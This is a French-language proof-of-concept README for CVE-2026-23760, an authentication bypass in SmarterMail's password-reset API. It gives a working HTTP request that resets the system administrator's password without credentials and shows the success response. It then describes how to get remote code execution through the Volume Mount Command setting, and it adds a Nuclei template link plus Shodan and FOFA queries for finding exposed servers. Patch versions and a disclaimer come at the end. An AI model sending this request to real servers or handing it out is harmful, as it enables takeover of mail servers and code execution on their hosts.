SmarterMail-CVE-2026-23760-poc

Une preuve de concept exploitant un contournement d'authentification via l'API de réinitialisation de mot de passe pour le compte administrateur système de SmarterMail.

Vulnérabilité

La vulnérabilité existe en raison d'un contournement d'authentification dans l'API de réinitialisation de mot de passe. Le point de terminaison force-reset-password autorise les requêtes anonymes et ne vérifie pas le mot de passe existant ni un jeton de réinitialisation lors de la réinitialisation des comptes administrateur système.

• Prise de contrôle du compte administrateur système.
• Un chemin direct vers l'exécution de code à distance via les fonctionnalités intégrées de SmarterMail.

Versions affectées

• Versions de SmarterTools SmarterMail antérieures au build 9511

PoC (par watchtowr labs)

Le PoC est aussi simple que ceci :

POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145

{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}

Vous devriez recevoir la réponse suivante, qui confirme que le mot de passe a été modifié avec succès :

{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n",
"success":true,
"resultCode":200
}

La seule exigence restante est de connaître le nom d'utilisateur du compte administrateur.

De l'ATO au RCE et au-delà

Une fois authentifié en tant qu'administrateur système, un attaquant peut :

• Naviguer vers Settings -> Volume Mounts.
• Créer un nouveau volume.
• Fournir une commande arbitraire dans le champ Volume Mount Command.

Cette commande est exécutée par le système d'exploitation sous-jacent. À ce stade, l'attaquant a obtenu une exécution de code à distance complète sur l'hôte.

Lorsque la configuration est enregistrée, la commande fournie est exécutée immédiatement.

Automatisation

Modèle Nuclei :

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23760.yaml

Dans la nature

FOFA :

title='SmarterMail'

SHODAN :

html:'SmarterMail'

Impact

Un attaquant distant non authentifié peut contourner l'authentification du compte administrateur système et obtenir un accès. Une fois authentifié, il peut réaliser une exécution de code à distance complète sur l'hôte.

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - 9.3:Critique

Correctif et atténuation

Mettre à jour vers la dernière version : https://www.smartertools.com/smartermail/downloads

• Build 9511 (15 janvier 2026)
• Build 9518 (22 janvier 2026)

Références

• Notes de version de SmarterMail
• https://nvd.nist.gov/vuln/detail/CVE-2026-23760
• Blog et PoC de watchTowr

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés. L'accès non autorisé aux systèmes informatiques est illégal.